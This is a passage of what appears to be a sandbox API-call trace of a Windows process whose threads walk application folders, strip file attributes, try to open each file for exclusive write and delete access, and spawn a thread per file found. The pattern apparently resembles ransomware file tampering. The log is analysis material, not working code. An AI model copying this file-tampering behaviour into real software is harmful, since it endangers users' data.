	[0077.470] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\CallsResources.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\callsresources.winmd")) returned 0x20
	[0081.721] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\CallsResources.winmd", dwFileAttributes=0x20) returned 0
	[0081.721] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\CallsResources.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\callsresources.winmd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0081.721] GetLastError () returned 0x5
	[0081.721] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\CallsResources.winmd", dwFileAttributes=0x20) returned 0
	[0081.721] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e115a0) returned 1

Thread:
	id = 568
	os_tid = 0x180c

	[0077.471] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\CallsRTShims.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\callsrtshims.winmd")) returned 0x20
	[0081.719] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\CallsRTShims.winmd", dwFileAttributes=0x20) returned 0
	[0081.720] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\CallsRTShims.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\callsrtshims.winmd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0081.720] GetLastError () returned 0x5
	[0081.720] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\CallsRTShims.winmd", dwFileAttributes=0x20) returned 0
	[0081.720] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e124d0) returned 1

Thread:
	id = 569
	os_tid = 0x1810

	[0077.471] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Microsoft.People.Controls.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\microsoft.people.controls.winmd")) returned 0x20
	[0081.717] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Microsoft.People.Controls.winmd", dwFileAttributes=0x20) returned 0
	[0081.717] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Microsoft.People.Controls.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\microsoft.people.controls.winmd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0081.717] GetLastError () returned 0x5
	[0081.717] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Microsoft.People.Controls.winmd", dwFileAttributes=0x20) returned 0
	[0081.717] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e475e0) returned 1

Thread:
	id = 570
	os_tid = 0x1814

	[0077.472] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x47513d8
	[0077.472] wcscpy (in: _Dest=0x47513d8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0077.472] wcscat (in: _Dest=0x47513d8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0077.472] wcscat (in: _Dest=0x47513d8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0077.472] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4747950
	[0077.472] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x4747950 | out: lpFindFileData=0x4747950*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x61f43dfb, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x134444f, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x134444f, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d87af8
	[0081.727] wcscmp (_String1=".", _String2=".") returned 0
	[0081.727] FindNextFileW (in: hFindFile=0x2d87af8, lpFindFileData=0x4747950 | out: lpFindFileData=0x4747950*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x61f43dfb, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x134444f, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x134444f, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0081.727] wcscmp (_String1="..", _String2=".") returned 1
	[0081.727] wcscmp (_String1="..", _String2="..") returned 0
	[0081.727] FindNextFileW (in: hFindFile=0x2d87af8, lpFindFileData=0x4747950 | out: lpFindFileData=0x4747950*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd8701625, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd8701625, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd8701625, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x6408, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.d66edbf7.pri", cAlternateFileName="RESOUR~1.PRI")) returned 1
	[0081.727] wcscmp (_String1="resources.d66edbf7.pri", _String2=".") returned 1
	[0081.728] wcscmp (_String1="resources.d66edbf7.pri", _String2="..") returned 1
	[0081.728] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x116) returned 0x47722d0
	[0081.728] wcscpy (in: _Dest=0x47722d0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0081.728] wcscat (in: _Dest=0x47722d0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0081.728] wcscat (in: _Dest=0x47722d0, _Source="resources.d66edbf7.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\resources.d66edbf7.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\resources.d66edbf7.pri"
	[0091.960] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\resources.d66edbf7.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\resources.d66edbf7.pri")) returned 0x2020
	[0091.962] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\resources.d66edbf7.pri", dwFileAttributes=0x20) returned 0
	[0091.962] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\resources.d66edbf7.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\resources.d66edbf7.pri"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.962] GetLastError () returned 0x5
	[0091.962] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\resources.d66edbf7.pri", dwFileAttributes=0x2020) returned 0
	[0091.962] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47722d0) returned 1
	[0091.962] FindNextFileW (in: hFindFile=0x2d87af8, lpFindFileData=0x4747950 | out: lpFindFileData=0x4747950*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd8701625, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd8701625, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd8701625, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x6408, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000-MergedResources-2.pri", cAlternateFileName="")) returned 1
	[0091.963] wcscmp (_String1="S-1-5-21-1051304884-625712362-2192934891-1000-MergedResources-2.pri", _String2=".") returned 1
	[0091.963] wcscmp (_String1="S-1-5-21-1051304884-625712362-2192934891-1000-MergedResources-2.pri", _String2="..") returned 1
	[0091.963] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x170) returned 0x498ec08
	[0091.963] wcscpy (in: _Dest=0x498ec08, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0091.963] wcscat (in: _Dest=0x498ec08, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0091.963] wcscat (in: _Dest=0x498ec08, _Source="S-1-5-21-1051304884-625712362-2192934891-1000-MergedResources-2.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\S-1-5-21-1051304884-625712362-2192934891-1000-MergedResources-2.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\S-1-5-21-1051304884-625712362-2192934891-1000-MergedResources-2.pri"
	[0091.963] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\S-1-5-21-1051304884-625712362-2192934891-1000-MergedResources-2.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\s-1-5-21-1051304884-625712362-2192934891-1000-mergedresources-2.pri")) returned 0x2020
	[0091.963] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\S-1-5-21-1051304884-625712362-2192934891-1000-MergedResources-2.pri", dwFileAttributes=0x20) returned 0
	[0091.963] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\S-1-5-21-1051304884-625712362-2192934891-1000-MergedResources-2.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\s-1-5-21-1051304884-625712362-2192934891-1000-mergedresources-2.pri"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.963] GetLastError () returned 0x5
	[0091.963] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\S-1-5-21-1051304884-625712362-2192934891-1000-MergedResources-2.pri", dwFileAttributes=0x2020) returned 0
	[0091.963] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498ec08) returned 1
	[0091.963] FindNextFileW (in: hFindFile=0x2d87af8, lpFindFileData=0x4747950 | out: lpFindFileData=0x4747950*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd8701625, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd8701625, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd8701625, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x6408, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000-MergedResources-2.pri", cAlternateFileName="")) returned 0
	[0091.963] FindClose (in: hFindFile=0x2d87af8 | out: hFindFile=0x2d87af8) returned 1
	[0091.964] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4747950) returned 1
	[0091.964] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47513d8) returned 1
	[0091.964] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e01fb8) returned 1

Thread:
	id = 571
	os_tid = 0x1818

	[0077.473] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\resources.pri")) returned 0x20
	[0081.718] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
	[0081.718] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\resources.pri"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0081.718] GetLastError () returned 0x5
	[0081.718] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
	[0081.719] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cbe40) returned 1

Thread:
	id = 572
	os_tid = 0x181c

	[0077.474] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\WindowsPhoneReservedAppInfo.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\windowsphonereservedappinfo.xml")) returned 0x20
	[0082.875] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\WindowsPhoneReservedAppInfo.xml", dwFileAttributes=0x20) returned 0
	[0082.875] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\WindowsPhoneReservedAppInfo.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\windowsphonereservedappinfo.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.875] GetLastError () returned 0x5
	[0082.875] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\WindowsPhoneReservedAppInfo.xml", dwFileAttributes=0x20) returned 0
	[0082.875] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e020a8) returned 1

Thread:
	id = 573
	os_tid = 0x1820

	[0077.474] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x4753368
	[0077.475] wcscpy (in: _Dest=0x4753368, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Esl" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Esl") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Esl"
	[0077.475] wcscat (in: _Dest=0x4753368, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Esl\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Esl\\"
	[0077.475] wcscat (in: _Dest=0x4753368, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Esl\\*") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Esl\\*"
	[0077.475] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4748a28
	[0077.475] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Esl\\*", lpFindFileData=0x4748a28 | out: lpFindFileData=0x4748a28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdec183d6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xdec183d6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec183d6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacbf8
	[0081.828] wcscmp (_String1=".", _String2=".") returned 0
	[0081.828] FindNextFileW (in: hFindFile=0x2dacbf8, lpFindFileData=0x4748a28 | out: lpFindFileData=0x4748a28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdec183d6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xdec183d6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec183d6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0081.828] wcscmp (_String1="..", _String2=".") returned 1
	[0081.828] wcscmp (_String1="..", _String2="..") returned 0
	[0081.828] FindNextFileW (in: hFindFile=0x2dacbf8, lpFindFileData=0x4748a28 | out: lpFindFileData=0x4748a28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdec183d6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x4f1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AiodLite.dll", cAlternateFileName="")) returned 1
	[0081.828] wcscmp (_String1="AiodLite.dll", _String2=".") returned 1
	[0081.828] wcscmp (_String1="AiodLite.dll", _String2="..") returned 1
	[0081.828] FindNextFileW (in: hFindFile=0x2dacbf8, lpFindFileData=0x4748a28 | out: lpFindFileData=0x4748a28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdec183d6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x4f1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AiodLite.dll", cAlternateFileName="")) returned 0
	[0081.828] FindClose (in: hFindFile=0x2dacbf8 | out: hFindFile=0x2dacbf8) returned 1
	[0081.828] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4748a28) returned 1
	[0081.828] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753368) returned 1
	[0081.829] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d87068) returned 1

Thread:
	id = 574
	os_tid = 0x1824

	[0077.475] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x47533e0
	[0077.475] wcscpy (in: _Dest=0x47533e0, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader"
	[0077.475] wcscat (in: _Dest=0x47533e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\"
	[0077.475] wcscat (in: _Dest=0x47533e0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\*") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\*"
	[0077.475] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4747e20
	[0077.475] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\*", lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2d82cf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2d82cf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad778
	[0077.975] wcscmp (_String1=".", _String2=".") returned 0
	[0077.975] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2d82cf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2d82cf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.976] wcscmp (_String1="..", _String2=".") returned 1
	[0077.976] wcscmp (_String1="..", _String2="..") returned 0
	[0077.976] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x191cc8f5, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x2d9d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf", cAlternateFileName="149487~1.PDF")) returned 1
	[0077.976] wcscmp (_String1="1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf", _String2=".") returned 1
	[0077.976] wcscmp (_String1="1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf", _String2="..") returned 1
	[0077.976] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x2d7e6e8
	[0077.976] wcscpy (in: _Dest=0x2d7e6e8, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader"
	[0077.976] wcscat (in: _Dest=0x2d7e6e8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\"
	[0077.976] wcscat (in: _Dest=0x2d7e6e8, _Source="1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf"
	[0077.976] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d7e6e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b4
	[0077.977] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a672c00, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdb16256d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3a672c00, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x28bf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="A3DUtils.dll", cAlternateFileName="")) returned 1
	[0077.977] wcscmp (_String1="A3DUtils.dll", _String2=".") returned 1
